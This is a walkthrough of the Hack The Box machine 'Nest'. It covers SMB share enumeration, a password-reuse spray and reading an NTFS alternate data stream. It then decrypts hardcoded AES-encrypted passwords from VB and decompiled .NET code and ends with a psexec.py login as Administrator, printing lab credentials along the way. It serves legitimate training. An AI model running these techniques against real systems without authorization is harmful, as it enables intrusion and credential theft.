PRIMARY CATEGORY β†’ EASY

Summary

  • SMB Enumeration (Netexec, SMBMap & SMBClient)
  • Mounting via CIFS a Remote Shared Resource
  • Information Leakage in Sensitive Files
  • Information Leakage via Code Analysis of a VB (Visual Basic) Project
  • Password Decryption using Python Scripting (PBKDF2-SHA1 + AES-CBC)
  • NTFS’s Alternate Data Stream (ADS)
  • Information Leakage by decompiling a .NET Project using DotPeek
  • Connection to the Remote Machine as Administrator via SMB (PSExec)


Setup

Directory creation with the Machine’s Name

mkdir Nest && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are β†’

  • About 64 β†’ Linux
  • About 128 β†’ Windows
ping -c1 10.129.205.161

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG allPorts 10.129.205.161

Open Ports β†’ 445 and 4386

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

nmap -p445,4386 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.205.161
445 - SMB

Let’s start enumerating the SMB Server to extract information about it such as the hostname, the possible version of the Operative System, the name of the Domain or Workgroup or if SMBv1 is enabled

I usually do this task with netexec

Reference

nxc smb 10.129.205.161

We get that the name of the target is htb-nest. Therefore, we can add this name pointing to the IP Address as an entry in the system file /etc/hosts

printf "\n10.129.205.161\thtb-nest\n" >> /etc/hosts

Now, we can proceed to list the available shared resources if there are any

To do this, since we do not have any valid credentials yet, let’s try to authenticate using a Null Session

nxc smb htb-nest --username '' --password '' --shares

We can’t, so let’s do the same thing but authenticate this time as a Guest user, without providing a password

nxc smb htb-nest --username 'guest' --password '' --shares

And there we go, now we can list the available SMB shared resources in the target

Note that we can achieve the same thing using other tools such as smbclient or smbmap

  • SMBClient
smbclient --user 'guest%' --list //htb-nest
  • SMBMap
smbmap -H htb-nest -u 'guest' -p ''

Note that SMBMap and Netexec show us the permissions that we have on the shared resources while SMBClient does not

Excluding the usual folders such as ADMIN$, C$ or IPC$, for which we do not have access permissions, there are three interesting folders β†’

  • Data

  • Secure$

  • Users

At the moment, we only have access permissions on the Data and the Users ones

Let’s mount each shared folder locally by authenticating with the Guest user to inspect them and see if we can list their content

Data as Guest
mkdir data_as_guest
mount --types cifs --options ro,username='guest',password='' //10.129.205.161/Data !$

To get an overview of the file structure of this folder β†’

tree -fa data_as_guest

We have two files, let’s inspect their content

cat './data_as_guest/Shared/Maintenance/Maintenance Alerts.txt'

Nothing interesting

cat './data_as_guest/Shared/Templates/HR/Welcome Email.txt'

In this one there are credentials for the user TempUser β†’ TempUser:welcome2019

We check if these credentials are valid for the above user

nxc smb htb-nest --username 'TempUser' --password 'welcome2019'

And they are!

So, before proceed to check if we have other type of permissions on the available shared resources by authenticating with TempUser, let’s mount the remaining shared folder

Users as Guest
mkdir users_as_guest
mount --types cifs --options ro,username='guest',password='' //10.129.205.161/Users !$

To get an overview of the file structure β†’

tree -fa users_as_guest

And, it appears that we do not have access or read permissions on those listed folders

However, we have a list of possible system user names

Since we have a valid password for the user TempUser, we can check if a Password Reuse applies in this case

Dump the name of the directories, which corresponds to the user names, in a users.txt file as follows β†’

while IFS="/" read -r -d '' _ _user
do
	[[ -n $_user ]] && printf "%s\n" "$_user"
	
done < <( find users_as_guest -type d -print0 2> /dev/null ) > users.txt

Then, as mentioned before, check if the password we have is reused in any of the previous users

We can perform this actions with netexec again

nxc smb htb-nest --username users.txt --password 'welcome2019' --continue-on-success

It seems that the password is also valid for the users R.Thompson and L.Frost

But, I will tell you one thing in advance, if we mount the shares listed earlier by authenticating with those users, we get the same results as if we do it with the Guest user

So, don’t waste any more time, but you can try it if you want to 😊

As we do not have access to more shares as the Guest user, let’s move on to enumerate the SMB shared resources again, but this time as the user TempUser

  • Netexec
netexec smb htb-nest --username 'TempUser' --password 'welcome2019' --shares
  • SMBClient
smbclient --user 'TempUser%welcome2019' --list //htb-nest
  • SMBMap
smbmap -H htb-nest -u 'TempUser' -p 'welcome2019'

Notice that, now, in addition to having access permission on the Data and Users shares, we also have access permission on the Secure$ share

So, as we did before, just mount these three shares locally, but this time we authenticate as TempUser

Secure$ as TempUser
mkdir secure_as_temp
mount --types cifs --options ro,username='TempUser',password='welcome2019' //10.129.205.161/Secure$ !$

To list the file structure of the share mounted locally β†’

tree -fa ./secure_as_temp

Here the same applies as before with the Users’ share when we have authenticated with the Guest user, i.e. it appears that we do not have access or read permissions on those listed folders

We can check this with smbclient

smbclient --user 'TempUser%welcome2019' //htb-nest/Secure$
smb: \> cd IT
smb: \IT\> ls IT

So, we know that we have access permissions on the IT directory but no read permissions

The same applies with the remaining folders

Users as TempUser
mkdir users_as_temp
mount --types cifs --options ro,username='TempUser',password='welcome2019' //10.129.205.161/Users ./users_as_temp

To get an overview of the file structure β†’

tree -fa ./users_as_temp

Here, we have one .TXT file, if we inspect its content β†’

cat './users_as_temp/TempUser/New Text Document.txt'

The file is empty

With an empty file coming from a Windows Machine, I would check if It has an ADS (Alternate Data Stream) as its Default Data Stream may be empty, but the alternate may not be

To carry out this action from a Linux Machine, we can use smbclient

smbclient --user 'TempUser%welcome2019' --command 'allinfo ./TempUser/"New Text Document.txt"' //htb-nest/Users/

And it does not have an ADS, only the default one β†’ $DATA

Data as TempUser
mkdir data_as_temp
mount --types cifs --options ro,username='TempUser',password='welcome2019' //10.129.205.161/Data !$

To get an overview of the file structure β†’

tree -fa ./data_as_temp

This time there are quite a few files, all the new files are .XML, there may be some juicy information inside theses files

So, let’s inspect its content

find ./data_as_temp -iname '*.xml' -type f -exec bat --language xml -- {} +

The .XML files that stand out from the rest are the following ones β†’

  • NotepadPlusPlus/config.xml

There is a visible history where we can see the files most recently edited by this text editor

Sensitive Code Snippet
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
	<File filename="C:\windows\System32\drivers\etc\hosts" />
    <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
    <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
  • RU Scanner/RU_config.xml

There is a base64-encoded password for the user C.Smith β†’

Password's Snippet
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>

Usually, passwords that are Base64-encoded inside a configuration file are encrypted, let’s see if this is the case

base64 -d <<< "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" | xxd

And as expected, it is encrypted, at the moment we cannot do nothing since we don’t know how this password has been encrypted

We know neither the encryption algorithm, nor the symmetric key, nor the IV. Nor do we know if the key was derived via a KDF such as PBKDF2, in which case we also do not know the salt used in the derivation

And all this taking into account that the cipher’s IV and the KDF’s Salt are hardcoded in the source code of the program/script that encrypted this password

Normally, when a KDF is applied to derive the symmetric key, the salt, as well as the IV used in the cipher, are concatenated to the encrypted object. The resultant bytes are base64-encoded

Therefore, if we know the symmetric key, we can extract the above elements from the base64-encoded string and, knowing the Key Derivation Function and the Encryption Algorithm, proceed to decryption

It may be the case that bad practices may have been followed and both the salt, the IV and the key, are hardcoded in the source code

But, at the moment, we do not know nothing about this encrypted password

So, we have a leaked system path (\\HTB-NEST\Secure$\IT\Carl\Temp.txt) and encrypted password (fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=)

As we have seen before, we do not have read permissions neither as TempUser nor as Guest to the subfolders of the Secure$ share. But, we tried before with smbclient to access this subfolder, such as IT, as TempUser and we could, but we could not list their content

Therefore, knowing that there is a directory within Secure$\IT named Carl, we can try to list the content of this directory, since we have access permissions on IT, we may be able to access Carl and list its content

  • SMBMap
smbmap -H htb-nest -u 'TempUser' -p 'welcome2019' -r 'Secure$/IT/Carl'

It appears that we have read permissions on Secure$/IT/Carl. So, let’s mount locally this folder to inspect its content in a better way

mkdir carl_as_temp
mount --types cifs --options ro,username='TempUser',password='welcome2019' //10.129.70.67/Secure$/IT/Carl !$

As always, to list the file structure β†’

tree -fa carl_as_temp
Source Code Analysis to Decryt a Password

There is nothing interesting in the TXT files, but something catches my attention, there is a .sln (Solution) file that it can be opened with Visual Studio, related to the Visual Basic project that we also have in the RU Scanner folder

Remember that the name of the configuration file from which we got the password was RU_Config.xml, therefore, it appears that the encrypted password, or the entire configuration file, was generated by this program

As we also have access to the Visual Basic files, we can inspect the source code to search for the method or functions used to encrypt the password

Thus, to inspect those files β†’

cat --language java <( while IFS= read -r -d '' _file ; do printf "\n%s\n\n" "${_file}" && /bin/cat -- "$_file" ; done < <( find ./carl_as_temp -iname '*.vb' -type f -print0 ) )
  • VB Projects/WIP/RU/RUScanner/Module1.vb

In this VB file, we have the main function, which seems to load into a variable the content of the XML configuration through a method named LoadFromFile

Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")

It then stores the username from the configuration file in a username parameter and the password in a parameter called password

Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}

The interesting thing is that, before storing the password in the variable, the DecryptString method or function from Utils is called, passing it the password from the XML configuration file as value

Therefore, we know that the password parameter stores the plain password

Since there is a VB file named Utils (VB Projects/WIP/RU/RUScanner/Utils.vb), we can inspect the Utils class and its method named DecryptString

So, in this method we can see that the symmetric key (passphrase), is derived using the class Rfc2898DeriveBytes, which use PBKDF2-SHA1 as the KDF

In the other hand, it uses AES-CBC as symmetric algorithm to cipher the password using the previous derived key

The method call occurs within this other function named EncryptString, which in the one used in the Module1.vb file β†’

Public Shared Function EncryptString(PlainString As String) As String
    If String.IsNullOrEmpty(PlainString) Then
        Return String.Empty
    Else
        Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
    End If
End Function

Note that the Encrypt method receives as arguments the following ones β†’

Public Shared Function Encrypt(ByVal plainText As String, _
                               ByVal passPhrase As String, _
                               ByVal saltValue As String, _
                                ByVal passwordIterations As Integer, _
                               ByVal initVector As String, _
                               ByVal keySize As Integer) _
                       As String

So, we mentioned earlier that maybe the developer of this program was employing bad practices such as using static values for the Salt and the IV

This is the case, and the we also have the key β†’ N3st22

Therefore, knowing how the password was encrypted, we do not even need the Decrypt function to know how to decrypt the password

As we can see, in this case, the IV and Salt are not concatenated together with the encrypted data as they are hardcoded in the source code

Since there is a .SLN file, I have seen many people opening this file in Visual Studio to deploy the project and setting a breakpoint after calling the DecryptString method to get the value of the password parameter at runtime

But, let’s make a python script to automate this task

  • Script’s Help Panel

We run the script passing the following arguments

python3 PBKDF2_SHA1_AES_CBC.py "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" "N3st22" "88552299" 2 "464R5DFA5DL6LE28"

And we get the password for the user C.Smith β†’

  • Password β†’ xRxRxPANCAK3SxRxRx

Let’s check if that password is valid for the user C.Smith

nxc smb htb-nest --username 'c.smith' --password 'xRxRxPANCAK3SxRxRx'

And It is! Now, we can check again the SMB Shared Resources but this time as C.Smith

  • Netexec
nxc smb htb-nest --username 'c.smith' --password 'xRxRxPANCAK3SxRxRx' --shares
  • SMBClient
smbclient --user 'c.smith%xRxRxPANCAK3SxRxRx' --list //htb-nest/
  • SMBMap
smbmap -H htb-nest -u 'c.smith' -p 'xRxRxPANCAK3SxRxRx'

Apparently, we have access to the same shares as C.Smith and TempUser

But, that does not mean anything, let’s mount those shares again by authenticating as C.Smith to see if there are new files or we have different permissions on existent ones

Data as C.Smith
mkdir data_as_smith
mount --types cifs --options ro,username='C.Smith',password='xRxRxPANCAK3SxRxRx' //10.129.70.67/Data !$

To get an overview of the file structure β†’

tree -fa data_as_smith

Nothing new, let’s move to the next one

Secure$ as C.Smith
mkdir secure_as_smith
mount --types cifs --options ro,username='C.Smith',password='xRxRxPANCAK3SxRxRx' //10.129.70.67/Secure$ !$

To list the file structure β†’

tree -fa secure_as_smith

Nothing new here either

Users as C.Smith
mkdir users_as_smith
mount --types cifs --options ro,username='C.Smith',password='xRxRxPANCAK3SxRxRx' //10.129.70.67/Users !$

To see the file structure β†’

tree -fa users_as_smith

As expected, we have access and read permissions on the Users\C.Smith folder

Apart from the flag user.txt, we have three more files, a .exe file, a .txt file and a .xml file

  • HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

This file is definitely related to the service listenting in the port 4386

But it tells us nothing

  • HqkLdap.exe

If we inspect the type of binary that is β†’

file 'users_as_smith/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe'

It is a .NET compiled binary (.exe). So, later we can decompile it with dnspy or dotpeek and inspect its source code to search for information leakage or logic flaws

  • Debug Mode Password.txt

This file is empty

So, just as we did before with other files, let’s check if this one has an ADS (Alternate Data Stream

smbclient --user 'C.Smith%xRxRxPANCAK3SxRxRx' --command 'allinfo "C.Smith/HQK Reporting/Debug Mode Password.txt"' '//htb-nest/Users/'

And it does!

Therefore, we can download this file requesting the ADS instead of the Defaulf Data System

smbclient --user 'C.Smith%xRxRxPANCAK3SxRxRx' '//10.129.70.67/Users/'
smb: \> cd "C.Smith/HQK Reporting/"
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"

Inspecting the content of the download file we get the following β†’

Debug Mode Password β†’ WBQ201953D8w

And there is another password

We can check if this password corresponds to one of the users listed earlier

netexec smb htb-nest --username users.txt --password 'xRxRxPANCAK3SxRxRx' --continue-on-success

And it does not, we can see that for the users L.Frost and R.Thompson, the authentication with that password is valid, but it was also with the password of TempUser

Thus, those users may not exist in the target

Unknown - 4386

Let’s use netcat to connect to this TCP Port

netcat htb-nest 4386

It does not work correctly, it may be due to sequence characters such as new line and carriage return

We may get different results with telnet

telnet htb-nest 4386

And this one works!

It seems that we get an interactive console, if we send a help command this happens β†’

> help

There are several commands, if we test the functionality of each of them, we learn that setdir is like cd and list is like ls, those commands do the same as the others on a Linux machine

We get the following error if we run the command runquery

The remaining command is debug. This command needs a password, it seems that supplying a valid password, the debug mode of this service is enabled

As we have obtained a string that looks like a password from the Debug Mode Password file, we can assume that this string is the debug mode password for this service

So, let’s try it

> debug WBQ201953D8w

And It is!

As mentioned in the output of the above command, by enabling the debug mode, we have access to additional commands

We can check these new commands

> help

The service and session commands only show general information

But, the showquery command allows us to get the content of the files we are querying. It is like cat on a linux machine

Therefore, we can list the files inside a system folder with list and the content of these file with showquery

If we inspect the file structure from the default folder to its parent directories, we found a folder named LDAP

> setdir ..
> list

If we access this LDAP directory and list its content, we have two interesting files,

> setdir LDAP
> list

A .exe file with the same name as the one found in the Users share inside the C.Smith folder when we authenticate as C.Smith

So, I understand that both are the same binary

In the other hand, we have an LDAP configuration file named Ldap.conf. If we list its content β†’

> showquery 2

Another base64-encoded password, this one seems to be the Administrator User’s password

We can check, as we did with the other one, whether it is encrypted or not

base64 -d <<< "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" | xxd

As expected, It is also encrypted

Since the name of the .exe file is HqkLdap.exe and the name of the config file is Ldap.conf, we could think that this binary has generated this file or at least encrypted the password inside it

So, knowing that this binary comes from a compiled .NET project, we can decompile it by using dnspy or dotpeek to inspect its source code

Source Code Information Leakage when decompiling a .EXE file

Reference

In this case, we will use dotpeek from JetBrains

As long as I know, there is no a .NET decompiler tool in Linux apart from radare2. Some use Wine to be able to use dotpeek or dnspy in a Linux Machine

I would not recommend to execute any binary file in your main system, in this case a Windows machine, but I trust Hack The Box, and I do not really feel like setting up a virtual machine with a Windows either 😊

That said, if you already have a Windows Virtual Machine set up, just transfer this binary to it via SMBServer.py from Impacket

So, if we decompile this binary, the Main Module is the following one

Zoom In

This function perform the following validations before starts with the main point

  • The number of arguments the binary receives, excluding itself, must be at least one
if (MyProject.Application.CommandLineArgs.Count != 1)
          Console.WriteLine("Invalid number of command line arguments");
  • The first argument must be an existent file in the CWD
else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
          Console.WriteLine("Specified config file does not exist");
  • The HqkDbImport.exe binary must also exists in the CWD
else if (!File.Exists("HqkDbImport.exe"))
        {
          Console.WriteLine("Please ensure the optional database import module is installed");
        }

If all these conditions are met, we arrive at the main workflow, where the file passed as argument is taken and some information from it is parsed

It searchs for several fields such as Domain, User and Password

The interesting part is when it parses the value of the Password field in the passed file and stores it in a ldapSearchSetting.Password parameter or attribute

Before store this value, the DS (DecryptString) method of the CR Class is called

 else if (str.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
              ldapSearchSettings.Password = CR.DS(str.Substring(checked (str.IndexOf('=') + 1)));

If we inspect the CR Module, where the CR Class is defined, we find the DS Method

 public static string DS(string EncryptedString)
    {
      return string.IsNullOrEmpty(EncryptedString) ? string.Empty : CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
    }

This method calls another method also defined within the CR class named RD

As in theVisual Basic project, the functions/methods in charge of encrypting and decrypting the password use the Rfc2898DeriveBytes class, which uses PBKDF2-SHA1 to derive the key and AES-CBC to encrypt the input object with that symmetric key

Note that the DS method calls the RD method by passing it as arguments the following ones, taking into account the definition of RD

  • CipherText β†’ The parsed password of the file passed as an argument to the HqkLdap.exe binary

  • PassPhrase β†’ 667912

  • Salt β†’ 1313Rf99

  • KDF Iterations β†’ 3

  • Initialization Vector β†’ 1L1SA61493DRV53Z

  • Derived Key Size β†’ 256

With all this information and having the encrypted password, we can proceed in several ways

As mentioned in the Visual Basic Project section, I have seen many people who, again, export this decompiled .NET Project and import it into Visual Studio. They then set a breakpoint after the DS method is called and returns the plain password as value, and can see the value of the plain password at runtime

But, taking advantage of the fact that we have previously created a script to perform this task, we can use it again but this time passing it as arguments the ones listed above

python3 PBKDF2_SHA1_AES_CBC.py "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" "667912" "1313Rf99" 3 "1L1SA61493DRV53Z"

And we have the password! Let’s check if this one corresponds to the Administrator user

netexec smb htb-nest --username 'Administrator' --password 'XtH4nkS4Pl4y1nGX'

Shell as Administrator | System

And yes it does! So, since SMB is the only service/protocol running on the machine externally, apart from the one on the port 4389, and we have admin access to the system, let’ use psexec.py from impacket to upload a .EXE binary to the ADMIN$ share and start a service to be able to execute commands remotely and receive their output

psexec.py htb-nest/Administrator:'XtH4nkS4Pl4y1nGX'@htb-nest

We already have access to the target as NT Authority\System, so just grab the flag and move on to the next machine! 😊


Custom Exploits

PBKDF2_SHA1_AES_CBC.py

Reference

Zoom In